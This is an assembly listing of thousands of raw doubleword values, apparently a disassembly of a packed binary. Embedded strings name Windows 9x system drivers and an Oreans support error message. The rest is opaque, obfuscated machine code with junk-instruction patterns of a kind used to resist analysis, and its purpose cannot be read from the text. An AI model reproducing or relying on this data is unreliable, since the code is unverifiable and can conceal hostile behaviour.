		dd 818AAFDCh, 0DEA5C893h, 0AF9CBAABh, 274C67CCh, 0E9000000h
		dd 420FD748h, 6AECC34Ah, 335C7EC7h, 5AD24A66h, 0C76AF1D3h
		dd 3AF767Eh, 0A6BE487h,	53B89B4Ah, 7E4B1004h, 8C4ABA7Bh
		dd 0E8AFD289h, 0FE9D8905h, 480DFFFFh, 7F0857D9h, 5EC3A691h
		dd 694BD24Ah, 0EE7EC76Bh, 0D148C8ABh, 589C2309h, 9D78BCBCh
		dd 5BB6745Ah, 80982200h, 0DEF765Ch, 9278BD1Dh, 3B1F2C4Fh
		dd 0D178BD1Dh, 0DEA75C23h, 0ADE49303h, 20h, 6B653BD4h
		dd 769B7EC7h, 0CDAF36AEh, 527EC76Ah, 6B381A0Fh,	7ABD7EC7h
		dd 0CA67EDCBh, 4000000h, 2309D148h, 0E18D005Eh,	0ECCF45F6h
		dd 0D938F66Eh, 0B129F82h, 878C0DDh, 0E067DFC5h,	78C0B4FEh
		dd 0D35A4083h, 78C0B4F1h, 0D2503376h, 7E5CFF14h, 12F863B0h
		dd 789BC054h, 0CF8C85B1h, 283131ECh, 5D850CF2h,	9A72B606h
		dd 60B37157h, 165015FBh, 3C44CB31h, 0E78163EAh,	0C30672B5h
		dd 0EDBB3114h, 12123526h, 0A5B65A0Fh, 209810F6h, 0B5E7B799h
		dd 16F93C72h, 0AB30C089h, 1C02456Ch, 0A03B1DA4h, 7DC06CABh
		dd 0B35E1C9Ah, 15FCCAA8h, 16D30F46h, 0CB2C1DBAh, 0B2BCFh
		dd 3724F300h, 0D2898B59h, 71EA26F4h, 0E4DC593h,	0A8B36230h
		dd 9A3D2FCAh, 3402E07Bh, 0CD9B79E2h, 69371546h,	3D5B3A8h
		dd 0CDB6981Fh, 613B84D1h, 4E0D04C2h, 0C446A368h, 8FC23A1Fh
		dd 64ADF1ACh, 1F15D4F7h, 87AAB161h, 0E1168DC0h,	3C807FD3h
		dd 28F2C959h, 0EB9472E9h, 0DE88959Ah, 3CF1h, 0D1481800h
		dd 5A0114D2h, 0C76B8365h, 78E087Eh, 7EC76B25h, 9B867AAh
		dd 88C59C23h, 0FF4278BFh, 0E27998DCh, 84D73EFCh, 41B79A61h
		dd 9ABD9E73h, 795F879Ah, 0B963EBF2h, 0C7A5E872h, 4B100458h
		dd 6B2BD66Dh, 0EA297EC7h, 10099371h, 0A76CE4CAh, 58B12AD0h
		dd 0B0371DF7h, 7EC7FFCEh, 0A02D1053h, 78BD4ADFh, 0ABB06424h
		dd 21038A88h, 0A678BDB2h, 1F05B463h, 0CEACAF61h, 6547CE46h
		dd 0EA78BDB2h, 0B207E970h, 498C78BDh, 4A52B79Ah, 0BCA6E85h
		dd 81649007h, 88DA3E2h,	178E8DFh, 4A0F0000h, 0A051C385h
		dd 0BC9F3546h, 31FE223Ch, 6AECC34Ah, 335C7EC7h,	6308884Dh
		dd 0C317E2D9h, 0F9DC7F97h, 38EB4A94h, 0ED23E15Fh, 9D004B6Eh
		dd 399C74E4h, 0EA4F32E1h, 3E0BD348h, 0A08C656h,	4A096E51h
		dd 6B694BD2h, 0ABEE7EC7h, 0FD748C8h, 1EDC4042h,	2B30E6F8h
		dd 6F924108h, 2960C5A8h, 0DB88BD6Ch, 441Fh, 0D3484600h
		dd 0C34A3E0Bh, 7EC76AECh, 0C8402669h, 0C76B5F41h, 0E4779D7Eh
		dd 0D215FAC1h, 0D24A8AEFh, 4D549C0Dh, 0C3A6CDC1h, 4F0C045Eh
		dd 35854A82h, 749CD62Fh, 0D7B1FEE1h, 3C5FFC19h,	4C2D9275h
		dd 27h,	0BD348E9h, 5AD24A3Eh, 0C76AF1D3h, 5033767Eh, 0C76AECC3h
		dd 66335C7Eh, 8C4AEB4Ah, 0EBB2D586h, 8FCC4408h,	29BA7BC2h
		dd 0DB88BD6Ch, 4C1Fh, 8C4A4600h, 0ECB3D685h, 0D3968909h
		dd 0E2799C42h, 4AB78433h, 0F1D35AD2h, 767EC76Ah, 0ECC35033h
		dd 697EC76Ah, 0CCEF6CA9h, 4A895605h, 4B1004EBh,	29A17B7Eh
		dd 0C76BC0A2h, 1F02457Eh, 4BD24ABAh, 7EC76B69h,	4CC8ABEEh
		dd 3Eh,	0FD748E9h, 482AB129h, 0CD7EC76Bh, 4A42A78Ah, 8283E185h
		dd 25087AEDh, 0C14920A7h, 7C57EC7h, 62294C0Fh, 0CF48F57Fh
		dd 0F1D2129Fh, 4A9B6817h, 4B1004EBh, 0E3A17B7Eh, 3E052833h
		dd 844CF65Bh, 0D0FFFFFEh, 159A4C0Bh, 4B77B636h,	0AA7194C7h
		dd 0D14862C7h, 589C2309h, 9D78BCBCh, 5BB6745Ah,	0B45C1A00h
		dd 2A274A7h, 1D88483Fh,	263AC43Ah, 0AF9118FEh, 3378BC83h
		dd 835234BBh, 8D8978BCh, 57F5560Ah, 0D259D3B8h,	78BCBFF0h
		dd 0A0833275h, 0BFBDE023h, 0F9C868FAh, 58D72F0Ah, 0C7B79978h
		dd 0F17E6110h, 78BD440Dh, 0CD4907A3h, 0A41BAB8Eh, 92DCE69Fh
		dd 1EA5E4h, 0F5B30000h,	0F75C3F1Ch, 0C76B653Bh,	0E5769B7Eh
		dd 0E18107h, 40050000h,	8F2E56D3h, 9AFFE276h, 2309D148h
		dd 0BF931D9Ch, 0F81ADA78h, 14F67D63h, 9978C044h, 3C1A756h
		dd 0A7654B10h, 990FF269h, 55DC48CBh, 78C04473h,	751C31F8h
		dd 286447D5h, 0A9A7CA79h, 3D53DCE4h, 0FEE1FE8Ch, 5D439B7Eh
		dd 0B4F9A2D6h, 0BEA4E772h, 22451600h, 75E62F5Bh, 2AA88B52h
		dd 0CEB4A76Ch, 59EDCF56h, 2F7272B5h, 894ED64Ch,	890F5952h
		dd 412C5AC5h, 0F1AB8CF5h, 789B5F42h, 59C0C0E3h,	45CC1204h
		dd 7D2CF316h, 0FEE4935Ah, 0A78AD140h, 0C0D9A229h, 1B5E6CA9h
		dd 449A7735h, 0FEDC8BD0h, 437AE130h, 1DBB86A9h,	89F9F556h
		dd 95000007h, 2DFBD982h, 0C89674E7h, 67351348h,	4D2B0ABh
		dd 0D16C4A11h, 82D93C9Bh, 1B40D6A4h, 0B7A46F3Dh, 55060BD9h
		dd 3AC1A577h, 84D1D158h, 4A6403DDh, 0BE5FDD85h,	30E1420Bh
		dd 0F967C2Bh, 7EC8492Dh, 0C88C6FB2h, 0E07B9549h, 47CA0E31h
		dd 2FDE7D97h, 7E454D0Ch, 10EE6DA4h, 87D31E67h, 0A17230DEh
		dd 0D584D73Dh, 41B1F2h,	48D80000h, 652309D1h, 4FCDB0ABh
		dd 0BF9791C8h, 0CC08CD78h, 0A7E9522h, 1C5FDCBFh, 5537BE36h
		dd 0DA78C016h, 0ECF9B497h, 78C01616h, 9B81F6A4h, 3B00FAD6h
		dd 22057B60h, 904B0283h, 3C89E4h, 48B00000h, 652309D1h
		dd 4DCBAEADh, 5EFD17D5h, 8BBBEE7Bh, 860078BFh, 0C04C1DFFh
		dd 0B05FA278h, 16C8498Dh, 0D2B05FFCh, 2B4E0D04h
		dd 0AF0362Bh, 1942D492h, 732AA936h, 0A4E772B8h,	0E1F357C6h
		dd 0BFA57DE4h, 0BF975538h, 0A797DA78h, 498BF734h, 34BB3338h
		dd 0B849F452h, 0B4D78490h, 0DFC508EDh, 49F47658h, 0D5B8FBB8h
		dd 3016CC55h, 895EF3B8h, 4F9BEA17h, 2F8271Ch, 0D1B41751h
		dd 4232B944h, 13FFBDB2h, 7B5E2548h, 9898BBFEh, 0EC735981h
		dd 0AC3B392Ah, 88462C6Fh, 26F4D289h, 0BD3970EBh, 42DE29F6h
		dd 636E5E1h, 2FE80000h,	94804E2Ch, 0F51BE9C7h, 58BA8866h
		dd 0BE572503h, 4824BF9Dh, 0F7D5868Fh, 906EED29h, 2C0A51C2h
		dd 0CAA8B35Eh, 0AB8D14F8h, 3084D1D2h, 0D04B756h, 6CAA684Eh
		dd 0D510CEFh, 0B4725803h, 15DCFF5Ch, 6AC6A82Fh,	84B7EC7h
		dd 3C25AF25h, 0D14200E6h, 0EF23678Ah, 5CDABD6Ch, 0BCBBA1D5h
		dd 8C1FE678h, 0DE5C5D37h, 1B5F8231h, 112F66F5h,	2E11A8F9h
		dd 5BED1CDh, 0B7600000h, 1CF8C6A4h, 7D93613Fh, 0E03200DEh
		dd 46CF9D7Bh, 0D09C3715h, 6F4D0E07h, 8E675A1h, 0A482D93Ah
		dd 42203BD6h, 23058C70h, 0A884D1D3h, 0D1482FCEh, 749C2309h
		dd 0B178BCBCh, 0E7C3886Eh, 0F2B50015h, 3B589DD0h, 0DDD38829h
		dd 15FB3FFAh, 653B0F46h, 0A30411A8h, 563A7h, 0FF5CBB00h
		dd 9AC15321h, 3922EEBCh, 0D6858D5Bh, 70EB2AF8h,	6275F792h
		dd 0FCCAA8B3h, 9563411Ah, 31FFDD7Eh, 0CB9D7BE0h, 0D37E60E7h
		dd 290384D1h, 8CD1488Ah, 34169D87h, 0B97EC76Bh,	3218C776h
		dd 0BCBB7FABh, 0C05C378h, 2DE82C4Fh, 95440B2Eh,	0CF235B2h
		dd 1C2B0D94h, 16278BDh,	673AE017h, 9073B69Bh, 0DC7F91D5h
		dd 0A8D2AFA5h, 332F9011h, 4F0h,	9472E92Eh, 2F0D4EC6h, 0CEACAF61h
		dd 6B491200h, 5E3789Dh,	40D5026Ah, 0A76F3D1Bh, 0B08D6B4h
		dd 6DA47250h, 5A3E10EEh, 0D1D3F1D3h, 0FD9C7684h, 2B4E0D04h
		dd 0E312AE7h, 8C90E7AFh, 5FAB4F14h, 5AC00B7Ch, 0C7CB8365h
		dd 0E2C5087Eh, 8A68F31Eh, 200655BCh, 0C4A7B462h, 0CB25FC09h
		dd 0B75B7EC7h, 0CB04E66Dh, 46897EC7h, 0E3307497h, 0F82C5578h
		dd 0B1B3D483h, 0CAD0B239h, 95557EC7h, 0F6BDE07Bh, 0F8DA6147h
		dd 7D7EC7CAh, 0F0C7573Ah, 0BF0BA76Ch, 0F08DEECh, 0B2A9682Ch
		dd 0D30B06D4h, 4A6D1C3Fh, 72500B06h, 0C3A971E8h, 0C114693Ch
		dd 88ABEE78h, 0C0F4A57Bh, 3E853378h, 8F2C7C09h,	3F0FE4h
		dd 581D0000h, 0B238ADE9h, 39DA4FD2h, 0E5E5800Bh, 48EE5336h
		dd 9C2309D1h, 78BF9BC5h, 5B19FF42h, 0BB82A5B6h,	3B6C4ED5h
		dd 0AEF178C0h, 2D0310CBh, 0BB78C03Bh, 0F491B60Dh, 97E48FE1h
		dd 108h, 4E854ABEh, 3C92BA2h, 1AF7BB9Eh, 937F8BDh, 3F6B2C3Ah
		dd 9D6487D4h, 99008EEh,	7EC81F27h, 89ACAF65h, 0B79ADDC2h
		dd 0FE5DB8FCh, 0F11FDDDBh, 4EC3876Ah, 26D58690h, 26107B40h
		dd 4D4928F1h, 0F3B1AF6Ah, 52193C1Fh, 0F566AB6Fh, 9BC0510Fh
		dd 67342D78h, 0CFF4AEB5h, 30C73D20h, 7EC7A28Fh,	1D3ED593h
		dd 0C09B763Ah, 5EFD14E2h, 263B3Bh, 6FB55C1Ah, 0C79C06E8h
		dd 99488B7Eh, 36B138B6h, 0FB78BFC4h, 0C950DAB8h, 2CB32B11h
		dd 78C0754Ah, 0B2608CCFh, 0DCBF86A9h, 202BD75Eh, 2D7072B6h
		dd 0D2898947h, 0F9E3289Fh, 0A3863461h, 0ADAE6725h, 540709C7h
		dd 0E82DFB71h, 7E223C73h, 0BC1D17AEh, 32BC0h, 3724F300h
		dd 0D2898B59h, 71EA26F4h, 0E4DC593h, 0A8B36230h, 9A3D2FCAh
		dd 3402E07Bh, 0CD9B79E2h, 69371546h, 3D5B3A8h, 0D5B6981Fh
		dd 613B84D1h, 4A1104C2h, 8365EC64h, 87EC76Bh, 9E6CE2C5h
		dd 9B0AE873h, 2309D148h, 0BF9BC59Ch, 0DCFF4278h, 0C03AF9CFh
		dd 0E2D98778h, 8FE1285Dh, 0D263E4h, 48A0000h, 2D2B4E0Dh
		dd 0E3517E68h, 381BACBEh, 97BAA174h, 0C77AE98Ah, 0E72FED7Eh
		dd 0A78A5174h, 472D2EE3h, 2B7E4A82h, 3B1E5349h,	411AF7C5h
		dd 0E33B1E1Eh, 19C338FDh, 1875B51Eh, 0B530B735h, 7A78C001h
		dd 358C5137h, 5463F404h, 9F299F82h, 0B97E64BAh,	0A2C0E823h
		dd 62E0C302h, 0B6AFD6DBh, 0AA90D372h, 60B529ECh, 0A06E4CFBh
		dd 4628AF75h, 0CB72B760h, 5FE8CA51h, 2A6D72B7h,	55BD487Bh
		dd 931B3264h, 0AA7BADE4h, 238417AEh, 23B27h, 2734E300h
		dd 0C2997B49h, 61FA16E4h, 0FE5DB583h, 98C35220h, 8A4D1FBAh
		dd 24F2D08Bh, 0BD8B69F2h, 59270556h, 0F3C5A3B8h, 0D6A6880Fh
		dd 512B84D1h, 4A1104B2h, 64739E6Ch, 25358ED4h, 1744CD25h
		dd 6CDBB968h, 2B4E0D04h, 53312AE7h, 0A48A50C9h,	0BF97E61Dh
		dd 0BDE02378h, 0C03FDAB0h, 0C5BA6878h, 8FE0473Eh, 5D44E4h
		dd 4A6B0000h, 6B694BD2h, 27EE7EC7h, 652A8549h, 6E51007Ch
		dd 0DE366BEEh, 0E4935A7Dh, 52D240FEh, 0C7C6E9CBh, 7C2B6E7Eh
		dd 99941B99h, 5E78BFE4h, 15EBF81Bh, 0A378C0ADh,	0D59A8EF5h
		dd 41F14230h, 24C3A672h, 0E48EBE61h, 242Ah, 733800h, 0A599E12Dh
		dd 0AF9118FEh, 3478C0B1h, 3BA90EF1h, 7EC76B64h,	0BDA37BDEh
		dd 0C06FAB36h, 8F6DB078h, 898C4A20h, 5E8AFD2h, 60469C85h
		dd 6B7F61E8h, 0C1047EC7h, 0AED960DEh, 0F278BF88h, 987BE034h
		dd 0A6B55B1Bh, 0F1C7D4F7h, 2778C048h, 84C6FECh,	702F5209h
		dd 70441368h, 3F46FDC2h, 4CE48FD7h, 13h, 6B653B73h, 7ADF7EC7h
		dd 0AC37BEA4h, 0B178C06Fh, 4821906Eh, 9C2309D1h, 78BCBC38h
		dd 0CF947ABDh, 0E647B2E6h, 2AA88B07h, 0D8B6A56Ch, 6F51D850h
		dd 0F478BD0Ah, 70ACEB1h, 7588BCD0h, 967CB47Bh, 0BC972D0Fh
		dd 0C06FB278h, 5E849D9Dh, 0E110F178h, 529572B1h, 0F863AE6Ch
		dd 96C54C1Ah, 38EE7373h, 5E98CB52h, 9ADD6CAAh, 0BA8ECF63h
		dd 0D3CF301Dh, 0ACh, 0D8B6A572h, 73510A0Ah, 12F06BA5h
		dd 0AF8DCE44h, 492734E1h, 0FC19BEAEh, 63B3815Fh, 0C74C1AF8h
		dd 29E8B694h, 9E825432h, 0D1D83517h, 41E0BA84h,	2309D148h
		dd 8CAFAC65h, 6D90CB48h, 9614F7A6h, 0BCB53A0Fh,	5174B778h
		dd 0E07B9553h, 4F13F6BDh, 0EDBB99C2h, 7143724h,	0DF91F5D4h
		dd 0F51843D2h, 0D4F764B1h, 530077ABh, 0A37F440Ch, 870FED6Eh
		dd 723393C2h, 3E21ADC4h, 0A1C4977Ah, 0C2A42BA3h, 47FF9265h
		dd 0B55D2104h, 0F02C0A6h, 0A2AE694Ch, 7E934F34h, 0E031FFDDh
		dd 9C5A587Bh, 0B3A86975h, 371AC990h, 3BBh, 15205800h, 25481304h
		dd 82B30E1h, 0E90C4FC4h, 0C7EA71A5h, 0A6C99283h, 85A8B362h
		dd 678AD141h, 4B6EED23h, 2B4E0D07h, 0E189512Ah,	4C181h
		dd 0E9810000h, 4, 5C240C87h, 52241C89h,	0C281E289h, 4
		dd 4EA81h, 14870000h, 0C895C24h, 25C66824h, 3C890000h
		dd 28BB5324h, 0C1644549h, 0E3C106E3h, 3E3C102h,	93F3814Bh
		dd 511D0108h, 0C218D1B9h, 59CB01CEh, 685BD989h,	499h, 81242489h
		dd 42404h, 835F0000h, 0C8904ECh, 8478F24h, 50243C8Bh, 405E089h
		dd 83000000h, 48704C0h,	34FF5C24h, 0C4835924h, 0CA0E904h
		dd 0BEDDFFFDh, 0B7CBF74h, 0B82C153Ah, 82691097h, 0A6E3FB8h
		dd 0FFC50306h, 0CDDAEEE0h, 645E1D07h, 0EB6B1B7Fh, 8ED57F7Fh
		dd 83722464h, 744C6947h, 77BA6E20h, 2ECC0F3Eh, 0DFACAA42h
		dd 97C1367Ch, 525C4726h, 0E1812F4Fh, 0EB77112Ah, 7C69A523h
		dd 0EB51590Ah, 9FC36710h, 0FC232D41h, 7802056h,	0B07CE518h
		dd 6C428A4Ch, 0DFF7602Ch, 3C1A432Ah, 10C2E006h,	1BCC150Ch
		dd 2C82DA5Fh, 0B136B16Dh, 1844E856h, 0D1857443h, 6824310Ah
		dd 331D3131h, 4934EB45h, 474D5346h, 56202052h
		dd 2020444Bh, 56202020h, 20204D4Dh, 56202020h, 334E4957h
		dd 56202032h, 444C4458h, 202052h, 2 dup(0)
		dd 0E9000000h, 77Ch, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 11C35040h, 6F3041EFh,	60D7FE79h, 18B0Fh
		dd 0C7F90000h, 0A6F8585h, 6, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0E9F5B261h
		dd 6, 0C61ABE8Bh, 0C68B8678h, 0D8B70FFCh, 0D820Fh, 0F600000h
		dd 8Eh,	0C3816600h, 0C161E216h,	6A10E8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 8E9666C3h
		dd 0FE989h, 960F0000h, 0DF4726F5h, 0D107B5Dh, 3CDD0F97h
		dd 0A8A0FDEh, 60000000h, 0D02ED281h, 616037D0h,	0C8C16661h
		dd 53006A08h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 69EE1D53h, 7724FD40h, 12E9h, 0A2A82700h
		dd 5EBB1C7Ch, 258A1867h, 0D71224D2h, 8979D4B3h,	0A6F8985h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FF10CA1h, 0C8Ah, 6830F00h, 0F000000h, 82h
		dd 0CBC16600h, 50006A08h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0E953F505h, 0B70F60F5h
		dd 0DE9DFh, 660B0000h, 6C3CAB94h, 9DA37859h, 6120908Fh
		dd 0F40FB83h, 5285h, 11E900h, 99E0000h,	9409110Bh, 326BF194h
		dd 0E7D04F8h, 8D267230h, 0A6F5DBDh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 8AE8F74Dh
		dd 4B634D95h, 0E9F978D8h, 5, 0B7341FAEh, 13EE960h, 83FC0000h
		dd 850F0DFBh, 68h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 41C35545h, 7D9F1637h,	6061F860h, 665AF553h
		dd 83BFC381h, 65BD8D61h, 0F060A6Fh, 787h, 18E0F00h, 0F8000000h
		dd 0EFE9h, 10E900h, 4DE00000h, 0F5350900h, 0FD754E03h
		dd 214ED707h, 8A0F242Ch, 8, 0B9BA6660h,	6184B063h, 0F01FB83h
		dd 5885h, 18D0F00h, 0F9000000h,	1830Fh,	8DF90000h, 0A6F6DBDh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 642C61A7h, 188B0Fh, 13E90000h, 0CF000000h
		dd 66B8B5C0h, 0AF83E58Bh, 35C2FE6Ah, 0CA208CF0h, 6DE92B74h
		dd 0F8000000h, 2AFB83F9h, 39850Fh, 61600000h, 11850Fh
		dd 0CE90000h, 0FF000000h, 5000BE51h, 67039C63h,	8DE563A7h
		dd 0A6F75BDh, 88A0F06h,	60000000h, 3F8FBF66h, 0E9615956h
		dd 30h,	1850Fh,	83FC0000h, 850F27FBh, 312h, 1850Fh, 8DF90000h
		dd 0A6F7DBDh, 820F6006h, 1, 616060F8h, 0DC9BD981h, 616120A2h
		dd 6F8DBD89h, 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 8274A3C3h, 0E9BE011Ch, 11h, 0A1282E00h
		dd 7121CDD0h, 0C88A5DBCh, 74A53ABBh, 0ACBF60BCh, 814C0D6Ah
		dd 7D2AF6D6h, 0B8606160h, 35EC5A2Bh, 7E22BF66h,	0C88C6661h
		dd 0BE860h, 0AF470000h,	773258CEh, 21F919B6h, 860FE5h
		dd 5E000000h, 3800Fh, 8B660000h, 32461C2h, 0FC00AF5h, 20085h
		dd 148C0F00h, 0E9000000h, 0Fh, 0D28146A2h, 4BE24048h, 34FE8419h
		dd 8D6542C4h, 0A75EAB5h, 8E9F906h, 3F000000h, 0CAABDA27h
		dd 8BCB4FEDh, 0A764B85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 2C587858h, 5050F9EDh
		dd 0F525052h, 85h, 60310F00h, 0F585A61h, 0E9525031h, 14h
		dd 1C5958FBh, 0EFE955E6h, 23512A09h, 62E0BA56h,	0BA4109Ch
		dd 6160310Fh, 585A585Ah, 0F9241489h, 244C010Fh,	57006AFEh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 13E90233h, 0B000000h, 0F47F6B9Ch, 34891F19h,	1A112A49h
		dd 82D79BAFh, 5AF5E66Dh, 21B36060h, 816661FCh, 6143B5D1h
		dd 6A24C283h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 4358C351h, 36981158h, 4D9940E5h
		dd 0FC728966h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	3BC35747h, 0FB78C1D4h, 0FAB0C93h, 88Ah,	28A0F00h
		dd 60000000h, 0CEC1F561h, 56006A10h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0CA1C5D46h
		dd 3FC40FA8h, 840FF97Eh, 10h, 0A850Fh, 5E90000h, 96000000h
		dd 3580A040h, 2728966h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0D4C35242h, 0A7831DE6h, 6A04CDh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0F62A3CC3h, 33DA9F3Dh, 6660609Bh, 66821ABBh,	0F861F78Bh
		dd 0EE961h, 84AD0000h, 6ECCA542h, 101E5394h, 2923B216h
		dd 65E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0FB749A87h, 4B858B5Fh, 60060A76h
		dd 0FCD6BF0Fh, 0B58DF961h, 60A75EAh, 14870Fh, 0FE90000h
		dd 0FF000000h, 17EFF72Ah, 0A48B17B0h, 6F419464h, 858D95C0h
		dd 60A4C79h, 0E9D0FFF9h, 0Ah, 0F61E81DAh, 9D9B6D89h, 858938F7h
		dd 60A6F85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	24C35343h, 0E42DC31Ch, 6A613629h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 8CDAC350h
		dd 0FCB6F12h, 784h, 18A0F00h, 0F9000000h, 6F85858Bh, 0C3F5060Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B0C35646h
		dd 60BE602Fh, 58616051h, 61EAD480h, 0BD83F960h,	60A764Bh
		dd 38850F00h, 60000000h, 5880Fh, 81660000h, 0B4EDDBEBh
		dd 85C76136h, 60A764Bh,	1013Fh,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 97C35242h, 0E93893A7h, 13h
		dd 0AE8FC60h, 2D000000h, 65D5B306h, 64A3F1BCh, 0CD615B65h
		dd 20h,	74C00B00h, 0C708D37h, 6F8DBD8Bh, 8B9060Ah, 0A6000000h
		dd 75492275h, 30488BFAh, 6F899D8Bh, 583B060Ah, 8B157F34h
		dd 4D26BD3h, 18BCA03h, 6F858589h, 4EB060Ah, 0C5EB008Bh
		dd 85858B61h, 0CF060A6Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 22C35343h, 7E9h, 0B931EC00h, 0E61B9B0h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0CCC35747h
		dd 62104A72h, 0CC75476Ch, 13E95Eh, 0FDF10000h, 189387ABh
		dd 342259E6h, 0EF0C7728h, 357B6012h, 8B6660BFh,	0E961F9F9h
		dd 10h,	2D2DA2EBh, 0A943F7DEh, 0E5106324h, 0E30F1DBAh
		dd 0E9C08Bh, 4,	33000000h, 69206E41h, 7265746Eh, 206C616Eh
		dd 65637865h, 6F697470h, 636F206Eh, 65727563h, 41282064h
		dd 65726464h, 203A7373h, 78257830h, 500D0A29h, 7361656Ch
		dd 63202C65h, 61746E6Fh, 73207463h, 6F707075h, 6F407472h
		dd 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h
		dd 21h,	0E3h dup(0)
		dd 56000000h, 45000000h, 0
		dd 0E9000000h, 12CFh, 95858BFCh, 0E906071Eh, 0Ah, 73485BA1h
		dd 0DE9829FEh, 44399F74h, 850F0424h, 0D5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0F4C35545h, 3793942Eh
		dd 2AA1BD83h, 0F000607h, 0A884h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 3EF3B246h
		dd 12BB20E3h, 12E9CC54h, 8A000000h, 0D11621D8h,	32374D21h
		dd 0DD11F76Ch, 9F20A7DEh, 0EE987h, 0BCB20000h, 639D6F14h
		dd 642D43DBh, 0EAAF77Fh, 3B24858Dh, 95310607h, 6070C35h
		dd 0AA59B860h, 14E90088h, 59000000h, 2FAB4549h,	23EA0DB5h
		dd 673BA2E1h, 0E98CC7EFh, 61A6EE70h, 6AE0FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0D284BDC3h
		dd 68A0F8Dh, 29000000h,	7164195h, 1858B06h, 0E906071Bh
		dd 0Bh,	0F988298Eh, 0C6273B62h,	39C613A3h, 0F042444h, 4B85h
		dd 158F0F00h, 60000000h, 0CE9h,	70B6700h, 0C6D89945h, 90D9E24Eh
		dd 615E570Ah, 7B1585C7h, 1060Ah, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0B500C9C3h
		dd 0A26B41F8h, 0F83D1FADh, 55006A60h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 201C93CBh
		dd 2BCDE2FAh, 8E0F71A1h, 0Ch, 6870Fh, 9D890000h, 607124Dh
		dd 2DE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0B626E23Dh, 326E97Ah, 90B96660h
		dd 61A3h, 1B80000h, 87000000h, 0A7CE485h, 75C00B06h, 5B5FFF6h
		dd 8F06072Ch, 0A7B0D85h, 6A206A06h, 6995FFFFh, 83060720h
		dd 71FE9BDh, 8740006h, 95FF006Ah, 60716B5h, 126DBD83h
		dd 74010607h, 80680Dh, 0FF6A0000h, 206995FFh, 6AF90607h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 4F11C352h, 0EC144BCFh, 0F58D2360h, 8B06071Ah
		dd 7169DBDh, 0BD296106h, 6073229h, 6AC02Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0B94307C3h
		dd 8BAAA102h, 0E9282454h, 6, 0ED75BEECh, 85893880h, 6072D3Dh
		dd 2A71B501h, 3CBE0607h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0C373C356h
		dd 108F1D3Ah, 8529FD71h, 60727EDh, 24247403h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0BBC35242h, 0E83462C8h
		dd 3FB310A1h, 2458D09h,	0BD290607h, 60732EDh, 0AE9AD66h
		dd 5E000000h, 90532639h, 0D3738BA4h, 2444039Ch,	0A1B46024h
		dd 28C0Fh, 61600000h, 60605061h, 800Fh,	0E9610000h, 0Dh
		dd 9CD20DADh, 0CE196560h, 0E8480A62h, 4896175h,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 9B531DCh, 8B06070Bh,	9E97840h, 0E5000000h, 0D2987D16h
		dd 67C5BB79h, 7B15BD83h, 0F00060Ah, 17185h, 12E900h, 42370000h
		dd 0F6781626h, 25E66C73h, 417ADE66h, 0B1465295h, 12E96050h
		dd 7E000000h, 293515DDh, 86C3DC5h, 110C4133h, 293684h
		dd 11E8D5h, 0FAEE0000h,	0B00ABAA0h, 5FC2F8E0h, 0FD135090h
		dd 0F0D2085h, 87h, 89615900h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F557EC3h
		dd 685h, 298D2900h, 8B06071Fh, 6A2C2444h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 1F0C356h
		dd 7312595h, 840F9006h,	12h, 0DE9h, 0F0817400h,	447E72F8h
